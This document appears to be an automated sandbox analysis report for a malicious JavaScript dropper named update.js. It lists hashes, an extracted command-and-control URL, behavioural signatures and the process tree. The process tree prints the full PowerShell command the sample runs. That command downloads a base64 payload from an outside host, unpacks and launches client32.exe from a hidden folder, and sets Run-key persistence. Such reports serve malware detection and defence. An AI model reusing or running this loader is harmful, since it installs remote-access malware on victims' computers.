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Analysis
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max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24/01/2024, 13:24
Static task
static1
Behavioral task
behavioral1
Sample
update.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
update.js
Resource
win10v2004-20231215-en
General
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Target
update.js
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Size
93KB
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MD5
45e82c537987a2e09e296c7587ae6ca8
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SHA1
2f5c6ef11b5c6afca0939b3390c692b82ac1653f
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SHA256
2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3
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SHA512
d96e70b3ab173b43718117c76d5c87c8eab3b2321fb2a5cf88a50bd45d7225021e81da472c7c8df71851230eebde6193661125493f3c949075835a3c29e8ae95
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SSDEEP
1536:dfKBCFcJag2MfKBCFcJag2MfKBCFcJag2YfKBCFcJag2mfKfKBCFcJag2x:dfK42Yg9fK42Yg9fK42YgTfK42YgifKk
Malware Config
Extracted
https://boxtechcompany.com/1/GetData.php?6391
https://boxtechcompany.com/1/GetData.php?6391
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 2848 powershell.exe 6 2848 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2848 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2848 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2232 wrote to memory of 2848 2232 wscript.exe 28 PID 2232 wrote to memory of 2848 2232 wscript.exe 28 PID 2232 wrote to memory of 2848 2232 wscript.exe 28
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\update.js1⤵
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848
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